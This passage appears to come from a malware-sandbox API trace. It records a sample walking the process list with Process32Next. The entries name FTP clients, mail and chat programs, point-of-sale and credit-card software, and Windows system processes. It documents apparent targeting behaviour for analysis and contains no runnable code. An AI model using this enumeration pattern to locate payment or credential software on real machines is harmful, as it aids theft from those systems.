cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0286.087] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0286.090] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0286.092] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0286.095] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0286.109] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0286.112] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0286.115] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0286.118] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0286.120] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0286.123] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0286.125] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0286.128] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0286.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0286.181] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0286.184] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0286.187] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0286.189] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0286.192] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0286.194] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0286.197] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0286.199] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0286.202] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0286.204] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0286.207] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0286.209] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0286.211] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0286.214] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0286.216] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0286.218] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0286.221] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0286.271] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0286.274] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0286.276] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0286.279] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0286.281] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0286.283] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0286.285] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0286.288] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0286.290] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0286.292] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0286.294] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0286.296] CloseHandle (hObject=0x344) returned 1 [0286.296] Sleep (dwMilliseconds=0x64) [0286.334] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0286.403] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.407] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0286.409] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0286.411] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0286.413] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0286.416] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0286.418] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0286.420] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0286.422] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0286.424] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.427] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.429] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0286.431] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.433] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.435] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.437] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.439] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.493] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.520] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.583] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0286.586] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0286.588] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0286.590] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.592] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0286.594] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0286.596] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0286.599] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0286.601] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.603] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0286.605] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0286.607] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0286.609] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0286.611] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0286.614] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0286.616] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0286.618] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0286.620] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0286.621] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0286.623] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0286.626] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0286.679] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0286.682] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0286.685] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0286.687] Process32Next (in: hSnapshot=0x344, 